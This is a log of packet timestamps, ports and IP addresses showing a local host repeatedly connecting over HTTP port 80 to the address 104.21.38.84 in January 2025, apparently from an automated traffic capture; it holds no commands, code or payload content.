Jan 1, 2025 15:17:41.738677025 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.749217033 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.994807959 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.003369093 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.046082973 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.046103001 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.083683014 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.124209881 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.197767973 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.197770119 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.198508978 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.203433037 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.203504086 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.203778982 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.203829050 CET	80	49785	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.203830957 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.203892946 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.203994036 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.209419012 CET	80	49785	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.561808109 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.566713095 CET	80	49785	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.652288914 CET	80	49785	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.702332020 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:42.914987087 CET	80	49785	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:42.967984915 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.043807983 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.048677921 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:43.048748016 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.048835993 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.053698063 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:43.405684948 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.596534967 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:43.598809958 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:43.639853954 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:43.929812908 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:43.983572960 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.043056965 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.043734074 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.048366070 CET	80	49786	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.048418999 CET	49786	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.048527002 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.048588037 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.048671961 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.053466082 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.405519962 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.410290956 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.491772890 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.546071053 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.750833988 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.796149969 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.867022038 CET	49785	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.872075081 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.872780085 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.877058983 CET	80	49787	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.877132893 CET	49787	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.877652884 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:44.877731085 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.877974987 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:44.882786036 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.233817101 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.238668919 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.351212978 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.405481100 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.607434988 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.655455112 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.728794098 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.729451895 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.736089945 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.736120939 CET	80	49788	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:45.736166000 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.736188889 CET	49788	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.736311913 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:45.741095066 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.093245983 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.098131895 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.207125902 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.249306917 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.384433985 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.436702013 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.564343929 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.565126896 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.577908993 CET	80	49790	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.577940941 CET	80	49789	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.578005075 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.578039885 CET	49789	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.589613914 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.594440937 CET	80	49790	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:46.936783075 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:46.941668987 CET	80	49790	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.015821934 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.016608953 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.020994902 CET	80	49790	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.021094084 CET	49790	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.021446943 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.021511078 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.021605015 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.026355982 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.137489080 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.137594938 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.137644053 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.139749050 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.144615889 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.144680977 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.144777060 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.149637938 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.374305010 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.379199028 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.379218102 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.474746943 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.499394894 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.504234076 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.530453920 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.608726978 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.655556917 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.734958887 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.780436993 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.782679081 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.823477030 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.827299118 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.874171019 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.901581049 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.901581049 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.902371883 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.906876087 CET	80	49791	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.906905890 CET	80	49792	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.906985998 CET	49791	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.907002926 CET	49792	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.907212019 CET	80	49793	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:47.907284021 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.907391071 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:47.912349939 CET	80	49793	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:48.264875889 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.402569056 CET	80	49793	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:48.402903080 CET	80	49793	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:48.452295065 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.744453907 CET	80	49793	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:48.796084881 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.870620012 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.875488043 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:48.877161026 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.877274990 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:48.882137060 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.233812094 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.238812923 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.381822109 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.436664104 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.540154934 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.586739063 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.667915106 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.668554068 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.672918081 CET	80	49794	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.672982931 CET	49794	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.673331022 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:49.673424006 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.673584938 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:49.678343058 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.030483007 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.035341024 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.145311117 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.186687946 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.398797989 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.452317953 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.526910067 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.527549028 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.532002926 CET	80	49795	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.532071114 CET	49795	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.532393932 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.532506943 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.532586098 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.537384033 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.889908075 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:50.894743919 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:50.980017900 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.030415058 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.231484890 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.280412912 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.354506016 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.355140924 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.359479904 CET	80	49796	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.359558105 CET	49796	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.359958887 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.360019922 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.360112906 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.364902020 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.718099117 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:51.723069906 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.823261976 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:51.874161005 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.083935976 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.139787912 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.174427986 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.217904091 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.291838884 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.292536020 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.296817064 CET	80	49797	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.296873093 CET	49797	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.297405005 CET	80	49798	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.297478914 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.297589064 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.302431107 CET	80	49798	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.655488968 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.660332918 CET	80	49798	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.755078077 CET	80	49798	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.796180964 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.828469992 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.828687906 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.833349943 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.833463907 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.833611012 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.833797932 CET	80	49798	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.833849907 CET	49798	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.838414907 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.950419903 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.955286026 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:52.955357075 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.955470085 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:52.960242033 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.186973095 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.191783905 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.191889048 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.311729908 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.316549063 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.342159986 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.389813900 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.438113928 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.483525991 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.590598106 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.639794111 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.697309971 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.749146938 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.822798014 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.823093891 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.823466063 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.827922106 CET	80	49799	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.827986002 CET	49799	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.828234911 CET	80	49802	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.828397989 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.828411102 CET	80	49800	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:53.828457117 CET	49800	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.828578949 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:53.833369970 CET	80	49802	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:54.186793089 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.191809893 CET	80	49802	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:54.277714014 CET	80	49802	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:54.327265024 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.534185886 CET	80	49802	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:54.577266932 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.651186943 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.656130075 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:54.656208992 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.656322002 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:54.661117077 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.014877081 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.019813061 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.148142099 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.202266932 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.408871889 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.452275038 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.525851011 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.526576042 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.531243086 CET	80	49803	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.531332970 CET	49803	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.531472921 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.531553030 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.531642914 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.536557913 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.889895916 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:55.894766092 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:55.987016916 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.030385017 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.159725904 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.202254057 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.276352882 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.276953936 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.281361103 CET	80	49805	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.281577110 CET	49805	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.281755924 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.281810999 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.281888962 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.286668062 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.640593052 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.645478964 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.725992918 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.780396938 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:56.897649050 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:56.952245951 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.010909081 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.011625051 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.016146898 CET	80	49811	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.016228914 CET	49811	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.016489983 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.016552925 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.016650915 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.021492958 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.374222994 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.379035950 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.487010002 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.530379057 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.749178886 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.795999050 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.870829105 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.871561050 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.875893116 CET	80	49817	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.876411915 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:57.876491070 CET	49817	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.876528978 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.876656055 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:57.881474018 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.236474991 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.241374016 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.329169989 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.374485970 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.583092928 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.594382048 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.599477053 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.599579096 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.599673986 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.604518890 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.624166012 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.699012041 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.703820944 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.703907967 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.704008102 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.708714962 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.952385902 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:58.957227945 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:58.957343102 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.044853926 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.062186003 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.066967964 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.092885971 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.147686958 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.202235937 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.216648102 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.264761925 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.403742075 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.452327967 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.528840065 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.528862000 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.528938055 CET	49830	80	192.168.2.4	104.21.38.84
